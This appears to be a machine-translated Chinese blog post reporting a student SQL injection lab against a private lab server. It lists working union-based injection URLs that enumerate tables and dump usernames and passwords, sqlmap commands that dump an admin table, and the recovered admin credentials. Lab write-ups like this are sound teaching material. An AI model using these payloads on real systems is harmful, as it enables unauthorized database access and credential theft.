当前位置:网站首页>SQL injection experiment
SQL injection experiment
2022-06-13 08:17:00 【BT youth】
The experiment purpose
Make students understand SQL Injection principle and utilization method
Experimental content
- Experimental target URL:http://10.110.2.145:8008/
- Get through manual injection admin Password of the account
- Screenshot of the experiment process , There must be payload And result screenshot
Screenshot of the experiment process
- SQL Manual injection
http://10.110.2.145:8008/article.php?id=1 and 1=1 # With echo
http://10.110.2.145:8008/article.php?id=1 and 1=2 # No echo
Order by Determine the number of fields
http://10.110.2.145:8008/article.php?id=1 order by 18 # With echo
http://10.110.2.145:8008/article.php?id=1 order by 19 # No echo
Get the current database :
http://10.110.2.145:8008/article.php?id=-1 union select 1,(database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
Get the table of the current database :
http://10.110.2.145:8008/article.php?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
obtain yzsoumember Table fields :
http://10.110.2.145:8008/article.php?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=’yzsoumember’),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
obtain yzsoumember Exterior and interior username,password Field contents :
http://10.110.2.145:8008/article.php?id=-1 union select 1,(select group_concat(username,password) from jian.yzsoumember),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
- SQLMAP Tool injection
sqlmap Scan website :sqlmap.py -u "http://10.110.2.145:8008/article.php?id=1"
List database names :sqlmap.py -u "http://10.110.2.145:8008/article.php?id=1" --dbs
find dede database :
List dede Table under database :
sqlmap.py -u "http://10.110.2.145:8008/article.php?id=1" -D dede -tables
find dede_admin surface
Show dede_admin Everything in the table
sqlmap.py -u "http://10.110.2.145:8008/article.php?id=1" -D dede -T dede_admin --dump
Pwd=f297a57a5a743894a0e4
account number admin、 password admin
边栏推荐
- Several precise order receiving methods suitable for fresh food wholesale industry
- Using KVM to create three virtual machines that can communicate with local area network
- Sizeof, strlen find character length
- Cosmos star module development
- 母婴用品批发行业使用管理软件提高效率 实现降本增效
- 2022年G3锅炉水处理操作证考试题库模拟考试平台操作
- Basic operation of dfinity (ICP) development-4
- Idea shortcut summary
- 20 | pipeline oriented instruction design (Part 1): Modern CPU with multi-purpose
- Plane merging (matlab)
猜你喜欢
C盘爆满?简单几招教你释放、清理C盘几十G空间,最有效的C盘清理方法
Free file server storage technology
Disk C is full? A few simple tips teach you to release and clean up tens of gigabytes of space on the C disk, the most effective way to clean up the C disk
Operation of simulated examination platform for examination question bank of G3 boiler water treatment operation certificate in 2022
直播回顾 | 积极防御体系下BAS技术创新探索
SolidWorks修改工程图中文字字体的方法
[problem record] taberror: inconsistent use of tabs and spaces in indentation
How to hide tabs in nailing applet
ES6 deleting an attribute of an object
Openharmony notes ----------- (I)
随机推荐
2022年电工(初级)考题及模拟考试
Free file server storage technology
Create a substrate private network
How about a well-known food material distribution information management system?
C盘爆满?简单几招教你释放、清理C盘几十G空间,最有效的C盘清理方法
Get properties of class
ERP basic data concept
AcWing 1977. Information relay (base ring tree, parallel search set)
[pytorch] pytorch0.4.0 installation tutorial and GPU configuration collection (including test code)
【Emgu.CV】Emgu. CV. Example\ocr operation reports an error system IO. Filenotfoundexception: "failed to load file or assembly" system.drawing.common "
Go 接口实现原理【高阶篇】: type _interface struct
SolidWorks修改工程图中文字字体的方法
Common shell script development specifications
Maternal and infant supplies wholesale industry uses management software to improve efficiency and realize cost reduction and efficiency increase
母婴用品批发行业使用管理软件提高效率 实现降本增效
Determine whether a string is rotated from another string
Altium Designer中导入和导出设置的方法
CCNP_ Bt- Reissue
平面合并(MATLAB)
赋予代码生命力--读代码整洁之道